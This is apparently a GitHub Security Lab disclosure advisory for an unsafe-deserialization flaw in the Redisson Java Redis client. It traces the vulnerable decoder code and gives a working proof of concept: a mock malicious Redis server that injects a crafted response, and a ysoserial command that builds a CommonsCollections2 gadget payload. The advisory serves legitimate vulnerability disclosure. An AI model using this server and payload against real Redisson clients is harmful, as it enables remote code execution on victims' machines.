Coordinated Disclosure Timeline

Summary

Redisson is a Java Redis client that uses the Netty framework. Some of the messages received from the Redis server contain Java objects that the client deserializes without further validation. Attackers that manage to trick clients into communicating with a malicious server can include especially crafted objects in its responses that, once deserialized by the client, force it to execute arbitrary code. This can be abused to take control of the machine the client is running in.

Product

Redisson

Tested Version

3.20.0

Details

Unsafe deserialization of server responses (GHSL-2023-053)

When being set up, Redisson can be configured to use a specific Codec to encode and decode messages. If SerializationCodec is used, unsafe deserialization may happen as part of an object request made to the server.

When a Netty channel is established with a server, RedisChannelInitializer.initChannel is executed, which sets up CommandDecoder to decode incoming messages:

redisson/src/main/java/org/redisson/client/handler/RedisChannelInitializer.java:99

@Override
protected void initChannel(Channel ch) throws Exception {
    // --snip--

    if (type == Type.PLAIN) {
        ch.pipeline().addLast(new CommandDecoder(config.getAddress().getScheme()));
    }

CommandDecoder.decode will then be invoked when the server sends a message to the client:

redisson/src/main/java/org/redisson/client/handler/CommandDecoder.java:78

@Override
protected final void decode(ChannelHandlerContext ctx, ByteBuf in, List<Object> out) throws Exception {
    // --snip--
    if (data == null) {
        while (in.writerIndex() > in.readerIndex()) {
            // --snip--
            try {
                decode(ctx, in, null, 0);
            }
            // --snip--
        }
    } else {
        // --snip--
        decode(ctx, in, data, endIndex);
    }
}

private void decode(ChannelHandlerContext ctx, ByteBuf in, QueueCommand data, int endIndex) throws Exception {
    // --snip--
    decodeCommand(ctx.channel(), in, data, endIndex);
}

@Override
protected void decodeCommand(Channel channel, ByteBuf in, QueueCommand data, int endIndex) throws Exception {
    if (data == null) {
        try {
            while (in.writerIndex() > in.readerIndex()) {
                decode(in, null, null, channel, false, null);
            }
            // --snip--
        }
        // --snip--
    } else if (data instanceof CommandData) {
        CommandData<Object, Object> cmd = (CommandData<Object, Object>) data;
        try {
            while (in.writerIndex() > in.readerIndex()) {
                decode(in, cmd, null, channel, false, null);
            }
        // --snip--
        }
    }
}

protected void decode(ByteBuf in, CommandData<Object, Object> data, List<Object> parts, Channel channel, boolean skipConvertor, List<CommandData<?, ?>> commandsData) throws IOException {
    int code = in.readByte();
    // --snip--
    if (code == '$') {
        ByteBuf buf = readBytes(in);

As it can be seen, the input buffer in goes through many layers of methods, and then a byte is read from it: if that byte is $, then the rest of the message is parsed by readBytes:

redisson/src/main/java/org/redisson/client/handler/CommandDecoder.java:493

private ByteBuf readBytes(ByteBuf is) throws IOException {
    long l = readLong(is);
    // --snip--
    int size = (int) l;
    // --snip--
    ByteBuf buffer = is.readSlice(size);
    int cr = is.readByte();
    int lf = is.readByte();
    if (cr != CR || lf != LF) {
        throw new IOException("Improper line ending: " + cr + ", " + lf);
    }
    return buffer;

In readBytes, a long indicating the payload size is read from the buffer. By examining the readLong method, it can be determined that it’s in fact read as base 10 integers until a CRLF sequence is found, so, for instance, to send a size of 300, one would need to send the bytes 0x03 0x00 0x00, instead of the actual long 0x00 0x00 0x00 0x00 0x00 0x00 0x12 0x63).

After that, that same amount of bytes is read from the input buffer, and then a CRLF sequence is expected to end the message.

If all is correct, the execution continues in CommandDecoder.decode:

redisson/src/main/java/org/redisson/client/handler/CommandDecoder.java:389

ByteBuf buf = readBytes(in);
Object result = null;
if (buf != null) {
    Decoder<Object> decoder = selectDecoder(data, parts);
    result = decoder.decode(buf, state());
}

A Decoder is selected based on the command that the client issued. Since we’re requesting an object through getMap, SerializationCodec$Decoder.decode is used:

redisson/src/main/java/org/redisson/codec/SerializationCodec.java:40

public class SerializationCodec extends BaseCodec {

    private final Decoder<Object> decoder = new Decoder<Object>() {
        @Override
        public Object decode(ByteBuf buf, State state) throws IOException {
            // --snip --
            try {
                ByteBufInputStream in = new ByteBufInputStream(buf);
                ObjectInputStream inputStream;
                if (classLoader != null) {
                    Thread.currentThread().setContextClassLoader(classLoader);
                    inputStream = new CustomObjectInputStream(classLoader, in);
                } else {
                    inputStream = new ObjectInputStream(in);
                }
                return inputStream.readObject();

As it can be seen, the input buffer is finally used in ObjectInputStream.readObject, which triggers the unsafe deserialization. Note that CustomObjectInputStream is a thin wrapper over ObjectInputStream, and even though it seems to make decisions based on the to-be-deserialized class, actually it just delegates to the default implementation if the class can’t be found in the current class loader:

redisson/src/main/java/org/redisson/codec/CustomObjectInputStream.java:41

protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
    try {
        String name = desc.getName();
        return Class.forName(name, false, classLoader);
    } catch (ClassNotFoundException e) {
        return super.resolveClass(desc);
    }
}

Impact

This issue may lead to remote code execution.

Resources

To exploit this vulnerability, a malicious Redis server is needed. For the sake of simplicity, we implemented a mock server with hardcoded responses, with the only goal of reaching the vulnerable code of the client.

To be able to easily reproduce this, we used the following simplified example:

public class App {
    public static void main(String[] args) {
        Config config = new Config();
        config.useSingleServer().setAddress("redis://127.0.0.1:3000");
        config.setCodec(new SerializationCodec());
        RedissonClient redisson = Redisson.create(config);
        RMap<?, ?> map = redisson.getMap("myMap");
        map.get("test");
        redisson.shutdown();
    }
}

The example points to localhost’s port 3000, so we set up a simple Netty TCP server listening on that port, which replicates responses previously intercepted from a real Redis server and returns them to the client, until the HGET command happens. Then, our server injects the malicious response:

public class AttackChannelHandler extends SimpleChannelInboundHandler<String> {

    @Override
    protected void channelRead0(ChannelHandlerContext ctx, String s) throws Exception {
        // --snip--
        if (s.contains("PING")) {
            ctx.channel().writeAndFlush(
                    new RawByteMessage(new int[] {'+', 'P', 'O', 'N', 'G', '\r', '\n'}));
        } else if (s.contains("HGET")) {
            // Load the deserialization payload from disk
            byte[] payload = Files.readAllBytes(Paths.get("payload.bin"));
            long l = payload.length;
            String length = Long.toString(l);
            // Message format is $ + length + crlf + payload + clrf
            int[] message = new int[1 + length.length() + 2 + payload.length + 2];
            // Add the $ character to trigger the deserialization
            int offset = 0;
            message[offset++] = '$';
            // Add length as base 10 bytes
            for (int i = 0; i < length.length(); i++) {
                message[offset++] = length.charAt(i);
            }
            // CRLF
            message[offset++] = 0x0d;
            message[offset++] = 0x0a;
            // Add payload bytes
            for (int i = 0; i < payload.length; i++) {
                message[offset++] = payload[i];
            }
            // CRLF
            message[offset++] = 0x0d;
            message[offset++] = 0x0a;
            ctx.channel().writeAndFlush(new RawByteMessage(message));
        }
    }
}

RawByteMessage is a message class that just contains a byte array, which gets sent as-is by a Netty MessageToByteEncoder<RawByteMessage>.

The specific deserialization payload that needs to be used depends on the deserialization gadgets available in the classpath of the application using Redisson. Again for simplicity, we assumed the victim application uses Apache Commons Collections 4.0, which contains a well-known deserialization gadget:

<dependency>
  <groupId>org.apache.commons</groupId>
  <artifactId>commons-collections4</artifactId>
  <version>4.0</version>
</dependency>

In which case, the malicious payload file could be generated using ysoserial as follows:

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections2 '/System/Applications/Calculator.app/Contents/MacOS/Calculator' > payload.bin

Post-fix advice

CVE

Credit

This issue was discovered and reported by the GitHub CodeQL team members @atorralba (Tony Torralba) and @joefarebrother (Joseph Farebrother).

Contact

You can contact the GHSL team at securitylab@github.com, please include a reference to GHSL-2023-053 in any communication regarding this issue.